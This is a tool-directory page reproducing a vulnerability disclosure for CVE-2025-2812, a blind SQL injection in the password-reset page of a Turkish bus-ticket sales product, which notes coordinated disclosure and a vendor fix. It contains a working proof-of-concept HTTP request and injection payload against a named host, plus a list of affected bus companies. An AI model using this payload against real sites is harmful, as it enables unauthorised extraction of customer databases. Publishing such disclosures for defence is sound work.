Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-2812 — CVE-2025-2812 SQL Injection | Kitploit
Tools/GitHubGitHub/sahici/cve-2025-2812
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingDatabase Security
GitHubsahici/cve-2025-2812

CVE-2025-2812

CVE-2025-2812 SQL Injection

View Repository
1 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Website

CVE-2025-2812 — SQL Injection Vulnerability in "Bilet Satış Otomasyonu" by Mydata Bilişim Ltd. Şti

📌 CVE-ID: CVE-2025-2812
📢 USOM Announcement: tr-25-0099
🛡️ Vulnerability Type: CWE-89 - SQL Injection (Boolean-based Blind)
🏢 Affected Product: Bilet Satış Otomasyonu – Mydata Bilişim Ltd. Şti
🌐 Example Target URL: https://otobusfirmasi.com.tr/otobus-bileti/SifremiUnuttum.php

🔍 Vulnerability Summary

A Boolean-based Blind SQL Injection vulnerability has been identified in the "Bilet Satış Otomasyonu" product, specifically in the "First letter of your name" (ilkHarf) parameter on the password reset (SifremiUnuttum.php) page. This vulnerability allows data exfiltration from the system without a username or password.

This vulnerability covers the systems of the following bus companies:

  • Balıkesir Uludağ
  • Kontur
  • Efe Tur
  • Kale Seyahat
  • +20 companies

💥 PoC (Proof of Concept)

📌 HTTP Request:

root@kitploit:~
GET /otobus-bileti/SifremiUnuttumBilgi.php?TelefonNo=12313131231312313&ilkHarf=a')%20OR%20NOT%20LENGTH(LENGTH((SELECT%20SCHEMA_NAME%20FROM(INFORMATION_SCHEMA.SCHEMATA)LIMIT%200,1)))=1--%20wXyW HTTP/1.1
Host: otobusfirmasi.com.tr
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://otobusfirmasi.com.tr/otobus-bileti/SifremiUnuttum.php
Cookie: PHPSESSID=***************

🧪 Payload Used:

root@kitploit:~
TelefonNo=12313131231312313&ilkHarf=a')%20OR%20NOT%20LENGTH(LENGTH((SELECT%20SCHEMA_NAME%20FROM(INFORMATION_SCHEMA.SCHEMATA)LIMIT%200,1)))=1--%20wXyW

🧠 Technical Details

  • Vulnerable Parameter: ilkHarf
  • Method: Boolean-based Blind SQLi
  • Vulnerability Type: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

🙏 Acknowledgements

After the vulnerability we identified in the "Bilet Satış Otomasyonu" product developed by Mydata Bilişim Ltd. Şti, this vulnerability, announced under CVE-2025-2812, has been disclosed in coordination with the manufacturer and USOM. We are proud to contribute to the cybersecurity community in this process.

Following the notification of the vulnerability, Mydata Bilişim Ltd. Şti promptly implemented all necessary procedures, closed the relevant security vulnerability, and integrated additional security measures into their systems. We thank them for their transparency, cooperation, and sense of responsibility throughout the process.

We are proud to contribute to the cybersecurity community in this process.

📬 Contact

You can contact me for any questions, feedback, or collaboration:

  • 📧 Email: [email protected]
  • 📷 Instagram: @yyasar.yasin
Download Tool